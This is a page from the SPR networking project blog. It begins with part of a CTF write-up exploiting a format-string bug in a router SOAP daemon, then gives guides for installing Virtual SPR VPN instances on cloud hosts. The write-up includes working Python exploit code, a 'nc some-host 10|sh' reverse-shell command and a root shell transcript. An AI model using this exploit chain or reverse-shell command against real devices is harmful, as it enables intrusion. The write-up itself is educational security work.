fprintf(stream, "HTTP/1.1 %d %s\r\n", a2, a3);
fwrite("Server: OS/Version UPnP/1.0 product/version", 1u, 0x2Bu, stream);
fwrite("Content-Type: text/html\r\n", 1u, 0x19u, stream);
fwrite("Connection: close\r\n", 1u, 0x13u, stream);
fwrite("\r\n", 1u, 2u, stream);
fprintf(stream, "<HTML><HEAD><TITLE>%d %s</TITLE></HEAD>\n<H4>%d %s</H4>\n", a2, a3, a2, a3);
...
}
unsigned int __cdecl handle_client(int fd) {
void* __soap_action_ = soap_action;
char *v7;
char buf[2048];
v7 = &buf;
if ( _isoc99_sscanf(...) ) {
...
__soap_action(steam);
} else {
http_response(stream, 400, "Invalid request", (const char *)&__soap_action_)
}
}

We can trigger this leak with the following code:

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))

sock.sendall(b'ENDEND a\n')
leak = (sock.recv(4096).split(b'request</H4>\n',1)[1]
.split(b'ENDEND',1)[0].ljust(8,b'\0'))
text_leak = u32(leak[:4])
stack_leak = u32(leak[4:])

sock.close()

Looking closer at the string functions being used, there are several buffer overflows from calls to sprintf and strcpy. However almost all of these are protected by stack-cookies. Luckily there is a single case where a pointer lays between a buffer and the stack-cookie:

__int64 __cdecl soap_response(...) {
char dest[2048];
char src[2048];
char* format_str;
unsigned int cookie;
...
format_str = "%s";
...
sprintf(&src[off], "%s", sub_action);
...
sprintf(&src[off], format_str, action);
}

Since we are able to buffer overflow src using the first sprintf call, we can smash the format_str ptr. This allows point format_str at our own data on the stack (using the leak from earlier), giving us an arbitrary format string vulnerability.

We can easily exploit the format string by using the %123$hhn syntax. This syntax will write the number of bytes printed so far as a uint8_t at a given offset on the stack. This is very handy as we can use it to surgically corrupt a return pointer without messing with the stack-cookie.

At this point we can control the EIP register, but we still need to actually get code execution. There is an easy way to do this by abusing the calls to system in the binary. We can partially corrupt the return address to point it to the following address in the binary:

.text:00001A76                 call    system
.text:00001A7B add esp, 10h
.text:00001A7E sub esp, 8

The first argument of system will be the next value pointed to by ESP, which just so happens to be our format string from before. We can simply prepend our format string exploit with a command to run!

# Prep return byte overwrite targets
g1 = 0x76
g2 = ((text_leak & 0xf000) >> 8) + 0xa

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))

pl = b'post / a\nSOAPAction: '
pl += b'numberwang#wangernum42'

# Place write targets on the stack
pl += p32(target_stack_ret)
pl += p32(target_stack_ret+1)
# Padding
pl += b'EEEE'
pl += b'FFFF'
pl += b'A'*(1824-4*4)
# Smash format ptr
pl += p32(stack_leak)
pl += b'\n\n'

# Command to run in system
fmt = 'nc some-host 10|sh;#'

# Format string exploit
fmt += f'%{g1-len(fmt)}c'+'%592$hhn'+f'%{g2-g1}c'+'%593$hhn'
pl += fmt.encode('latin-1')

sock.sendall(pl)

With this exploit ready to go, we can run it from the second target box. Once the exploit lands we are greeted with our last reverse shell and get the last flag!

$ nc -l 1339 -v
Listening on 0.0.0.0 1339
Connection received on 192.168.1.2 14253
bash: cannot set terminal process group (8): Inappropriate ioctl for device
bash: no job control in this shell
root@21fbbf871fa0:/# cat flag3.txt
turtles{c14583540ce6a34f73cb04d964aff18415916fae}
root@21fbbf871fa0:/#

Editor's note:

Challenge 3 is based on a flaw the Supernetworks team exploited in preparation for December's pwn2own contest against the Netgear RAX30. Oddly enough: the soapd binary has FORTIFY_SOURCE enabled, yet still has some stray sprintfs, and does in fact store the format string on the stack like that, for unclear reasons.

· 3 min read

Introduction

This guide shows how to setup a new E2 instance in Google Cloud, allow VPN access in firewall and install Virtual SPR. The result is a private VPN with a custom DNS server able to block ads, log traffic, and more features included in SPR.

For a more general and in-depth guide see the Virtual SPR Guide.

Setup Account

Skip this section if you already have an Google Cloud account & a project setup.

Go to Google Cloud & sign in with a Google account, or create a new one and enable Google Cloud. Google have a Free Tier where you get $300 in free credits when signing up as a new customer. Continue by creating a Payment Profile.

When done click New Project in the top menu dropdown and pick a name for your project.

Create Instance

In the top navigation menu go to Compute Engine and click VM Instances.

Click Enable if you haven't used the service before. If promped to create a project, pick a name for it & click Create.

Click Create Instance.

Select a name for your instance & pick a region.

For Series go with E2 and Machine type for the least expensive alternative.

Under Boot disk click Change:

Select and save:

  • Operating System Ubuntu
  • Version Ubuntu 22.04 LTS x86/64

Expand Advanced options, then Networking, scroll down to Network interfaces and click default. Select External IPv4 address and click Create IP address to assign a static IP address for your instance.

The default settings is fine for the other options. Now click Create to boot up the instance.

Firewall rules for VPN access

In the navigation go to VPC Network and click Firewall. Click Create Firewall Rule at the top of the page.

Settings in screenshot:

  • Name allow-wireguard
  • Diretion of Traffic ingress
  • Network default
  • Targets All instances in the network all is fine, specify a target if you run more instances
  • Source Filter IP ranges
  • Source IP Ranges 0.0.0.0/0 or if you know the range you will be connecting from
  • Protocols and Ports UDP and 51280
  • Second Source filter None

Note: This only allows connections to the instance, WireGuard will authorize clients when connecting.

Access instance & install SPR

Your instance should be available under Compute Engine -> VM Instances. Click SSH in the listing:

A browser window should popup with a terminal. Run the SPR virtual installer with sudo:

sudo bash -c "$(curl -fsSL https://raw.github.com/spr-networks/super/master/virtual_install.sh)"

Check out the source for virtual_install.sh here.

If you want to add another device, just run the setup script again:

cd super
sudo ./virtual_install.sh

Now you have a WireGuard VPN config ready, either scan the QR Code or paste the config into the WireGuard client.

For more information on setting up the client see the Virtual SPR Guide on how to connect your VPN client to the instance.

· 3 min read

Introduction

This guide shows how to setup Virtual SPR on a Micro Tier Instance on AWS, and connect to it using WireGuard VPN.

The result is a private VPN with a custom DNS server able to block ads, log traffic, and more features included in SPR.

For a more general and in-depth guide see the Virtual SPR Guide.

Create a Instance

Sign in to AWS Console and navigate to Instances in the menu. Click Launch Instances for your selected region.

Name your instance and select Ubuntu and 64-bit (x86) as architecture under OS Images.

For instance type choose any micro tier eligible for free, t2.micro is used in the example.

If you already have a keypair that you want to use, select it under Key pair or click Create new key pair, save the .pem-file to your ~/.ssh directory and make sure only your user can read it.

Allow VPN access

Under Network settings click Edit and scroll down to Add security group rule. Select UDP & port 5128, "vpn" as description and if you want to allow access from a specific source ip or range.

Click Launch Instance in the bottom right.

Install Virtual SPR

Navigate to Instances, the newly created instance should be available in the listing and shown as Running, click it. Copy the value under Public IPv4 address and ssh into the box as the ubuntu user:

ssh -i ~/.ssh/awsspr.pem ubuntu@paste-ipv4-address-here

NOTE You can also use the Instance Connect-feature if you don't have access to a ssh client. Click Connect under the Instance Summary to get access to a terminal.

Run the SPR virtual installer with sudo:

sudo bash -c "$(curl -fsSL https://raw.github.com/spr-networks/super/master/virtual_install.sh)"

NOTE: If the script cannot get the public ip address of the instance from one of the network interfaces, it will ask to fetch this from https://ifconfig.me. Answer yes to fetch this or edit this later (Endpoint in the WireGuard config).

The script will download the SPR repository and run virtual_install.sh (you can also checkout the repository and run the script manually if you want to inspect the script before running it.)

If you want to add another device, just run the setup script again:

cd super
sudo ./virtual_install.sh

Now you have a WireGuard VPN config ready, either scan the QR Code or paste the config into the WireGuard client.

For more information on setting up the client see the Virtual SPR Guide on how to connect your VPN client to the instance.

· 2 min read

Introduction

This guide shows how to setup Virtual SPR on a DigitalOcean Droplet and connect to it using WireGuard VPN.

For a more general and in-depth guide see the Virtual SPR Guide.

Create a Droplet

Login to DigitalOcean and click Create Droplet.

Select prefered Region and Datacenter (Amsterdam and AMS3 in the example), go with default Ubuntu 22.04 x64 for OS and version.

For Droplet Size, the smallest $4/month Basic with 512 MB RAM is enough but feel free to choose another one.

If you already have a ssh key configured for a project you can choose the pubkey or click New SSH Key for Choose Authentication Method.

Click Create Droplet & wait for it to spin up.

Install Virtual SPR

When the droplet has started, copy the ipv4 address and ssh into the box using your ssh key as root:

ssh -i .ssh/id_rsa root@paste-ipv4-address-here

Run the SPR virtual installer as root on the droplet:

bash -c "$(curl -fsSL https://raw.github.com/spr-networks/super/master/virtual_install.sh)"

The script will download the SPR repository and run virtual_install.sh (you can also checkout the repository and run the script manually if you want to inspect the script before running it.)

If you want to add another device, just run the setup script again:

cd super
./virtual_install.sh

Now you have a WireGuard VPN config ready, either scan the QR Code or paste the config into the WireGuard client.

For more information on setting up the client see the Virtual SPR Guide on how to connect your VPN client to the droplet instance.

· 4 min read

Introduction

This guide will show how to setup virtual SPR and connect to it using a WireGuard VPN client from your phone or desktop computer.

The result is a private VPN with a custom DNS server able to block ads, log traffic, and more.

Quick install

sudo bash -c "$(curl -fsSL https://raw.github.com/spr-networks/super/master/virtual_install.sh)"

Open WireGuard & scan the QR Code/import config - Done!

Virtual SPR Install

What you need

  • A linux server running Ubuntu 22.04
  • If there is a firewall port 51280/udp needs to be open for incoming traffic
  • WireGuard (© Jason A. Donenfeld) installed on your client phone or desktop

Run Virtual Installer

sudo bash -c "$(curl -fsSL https://raw.github.com/spr-networks/super/master/virtual_install.sh)"

What the script does

  • downloads the latest SPR repository from https://github.com/spr-networks/super/
  • downloads prebuilt docker images
  • generate default configs
  • setup admin password and auth token for API access
  • start SPR
  • add a VPN peer and output the WireGuard config

You can also download the script if you want to check it out or add blocklists for ads:

curl -s -O https://raw.githubusercontent.com/spr-networks/super/main/virtual_install.sh
chmod +x virtual_install.sh
sudo DNS_BLOCK=hosts,ads,tracking,redirects ./virtual_install.sh

See here for available blocklists.

Example to block DNS requests to adservers and social media:

sudo DNS_BLOCK=ads,tracking,facebook,tiktok ./virtual_install.sh

If you want to change the admin password you can edit the file configs/base/auth_users.json

Running the script you should see login info, a QR Code & the WireGuard client config. Example:

...
[+] WireGuard config: (save this as wg.conf & import in client)
----------------------------------------------------------

[Interface]
PrivateKey = privkey
Address = 192.168.2.94
DNS = 192.168.2.1

[Peer]
PublicKey = pubkey
AllowedIPs = 0.0.0.0/0, ::/0
Endpoint = 198.211.120.224:51280
PersistentKeepalive = 25
PresharedKey = psk

If you want to connect to the VPN using a desktop client, save the config as wg.conf on your local computer.

Configure the VPN client on your device

For iOS and Android

Scan the QR Code in the official WireGuard App (iOS, Android) to import your VPN profile.

Linux, macOS and Windows

Click "Add empty tunnel..." paste the config and set a name for the tunnel. Or, if you saved the config to a file:

  • Open your WireGuard client and click "Import tunnel(s) from file"
  • Select the wg.conf file
  • Click Activate

Admin interface

Make sure you're connected to the VPN endpoint & browse to http://192.168.2.1 to access the admin interface.

Login using the credentials shown in the output from the script or if you set the password manually (NOTE you can check the login info by running SKIP_VPN=1 ./virtual_install.sh).

If you prefer to use curl:

$ export TOKEN="BASE64-TOKEN-FROM-OUTPUT"
$ curl -s -H "Authorization: Bearer $TOKEN" 192.168.2.1/devices

Checkout the documentation to get started using the SPR API.

Modify Blocklists

In the admin interface you can enable more blocklists by clicking Blocklists/Ad-block under DNS:

SPR comes bundled with the hosts file from https://github.com/StevenBlack/hosts and the blocklists from the https://github.com/blocklistproject/Lists repository, including: redirect, ads, facebook, twitter, malware, porn, redirect, tracking, youtube, everything

If something is missing you can always add custom blocklists or block specific domains.

View traffic

Navigate to DNS Log in the DNS category, select the client to get a log of domains:

Here you can also add more blocks, domain overrides if you want to allow something temporarily, delete logs or disable them completely under Settings.

It is also possible to get more detail traffic for connections under Traffic:

Outro and random notes

You can remove lan from your device groups for a device but its needed to access the admin interface.

SPR is configured to use DNS over HTTPs when resolving domains. You can modify the Coredns configuration under configs/dns/Corefile